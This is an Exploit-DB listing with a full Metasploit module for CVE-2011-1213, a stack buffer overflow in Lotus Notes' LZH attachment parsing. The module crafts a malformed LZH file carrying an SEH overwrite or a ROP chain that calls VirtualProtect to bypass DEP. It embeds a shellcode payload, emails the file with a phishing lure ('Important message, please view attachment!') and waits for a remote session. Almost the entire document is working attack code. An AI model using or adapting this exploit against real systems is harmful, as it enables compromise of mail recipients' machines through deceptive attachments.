标题: Lotus Notes 8.0.x < 8.5.2 FP2 - Autonomy Keyview ('.lzh' Attachment) (Metasploit) EDB-ID: 17448 CVE: 2011-1213 类型: REMOTE 平台: WINDOWS 发布日期: 2011-06-23 漏洞利用脚本: ##
# $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking # needs client interaction and permanent listener

 #
 # This module sends email messages via smtp
 #
 include Msf::Exploit::Remote::SMTPDeliver
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',
   'Description'    => %q{
    This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
    parsing a malformed, specially crafted LZH file. This vulnerability was
    discovered binaryhouse.net

   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'binaryhouse.net',  # original discovery
     'alino <26alino@gmail.com>', # Metasploit module
    ],
   'Version'        => '$Revision: 13015 $',
   'References'     =>
    [
     ['CVE', '2011-1213'],
     ['OSVDB', '72706'],
     ['BID', '48018'],
     ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
     ['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
    ],
   'Stance'         => Msf::Exploit::Stance::Passive,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Platform'       => ['win'],
   'Targets'        =>
    [
     [ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
      {
       'Offset' => 6741,
       'Ret'    => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
      }
     ],
     
     [ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
      {
       'Offset' => 6745,
       'Ret'    => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
      }
     ],
    ],
   'DisclosureDate' => 'May 24 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    #
    # Email options
    #
    OptString.new('FILENAME',
     [false, 'Sets the attachment file name', 'data.lzh']),
    OptString.new('MESSAGE',
     [false, 'Email message text', 'Important message, please view attachment!'])
   ], self.class)
  register_advanced_options(
   [
    OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
    OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
   ], self.class)
 end

 def exploit

  header =  "\x08"  # Size of archived file header <-- 8 - 13 = FFFFFFF6
  header << "\x1a"  # 1 byte Header checksum
  header << "-lh0-"  # Method ID (No compression)
  header << "\x7c\x1a\x00\x00" # Compressed file size
  header << "\x7c\x1a\x00\x00" # Uncompressed file size
  header << "\xB2\x5e\xab\x3c" # Original file date/time
  header << "\x20"  # File attribute
  header << "\x00"  # Level identifier
  header << "\x07"  # File name length
  header << "poc.txt"  # File name
  header << "\x25\x7d"  # 16 bit CRC of the uncompressed file

  lzh =  header 
  lzh << rand_text(target['Offset'])

  if (target == targets[0])

   lzh << generate_seh_record(target.ret)
   lzh << make_nops(8)
   lzh << payload.encoded

  elsif (target == targets[1])

   rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll

   rop_gadgets =
   [
    0x60524404, # POP EAX; RETN nnotes.dll
    0x7c37a140, # VirtualProtect() 
    0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
    0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
    0x60620001, # POP EBP; RETN nnotes.dll
    0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
    0x7c34280f, # POP EBX; RETN MSVCR71.dll
    0x00001954, # dwSize
    0x780ea001, # POP ECX; RETN MSVCP60.dll
    0x7c38b000, # lpflOldProtect
    0x60e73200, # POP EDI; RETN nnotes.dll
    0x60e73201, # RETN nnotes.dll
    0x601d5f02, # POP EDX; RETN nnotes.dll
    0x00000040, # flNewProtect
    0x60524404, # POP EAX; RETN nnotes.dll
    0x90909090, # NOP
    0x60820801, # PUSHAD; RETN nnotes.dll
   ].pack("V*")

   lzh << [target.ret].pack('V')
   lzh[32, rop_nop.length] = rop_nop
   lzh[220, rop_gadgets.length] = rop_gadgets
   lzh[289, payload.encoded.length] = payload.encoded
  end

  name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"
  data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)

  msg = Rex::MIME::Message.new
  msg.mime_defaults
  msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  msg.to = datastore['MAILTO']
  msg.from = datastore['MAILFROM']

  msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
  msg.add_part_attachment(lzh, name)

  send_message(msg.to_s)

  print_status("Waiting for a payload session (backgrounding)...")

  if not datastore['ExitOnSession'] and not job_id
   raise RuntimeError, "Setting ExitOnSession to false requires running as a job (exploit -j)"
  end

  stime = Time.now.to_f
  print_status "Starting the payload handler..."
  while(true)
   break if session_created? and datastore['ExitOnSession']
   break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )

   select(nil,nil,nil,1)
  end
 end
end URL: https://www.exploit-db.com/exploits/17448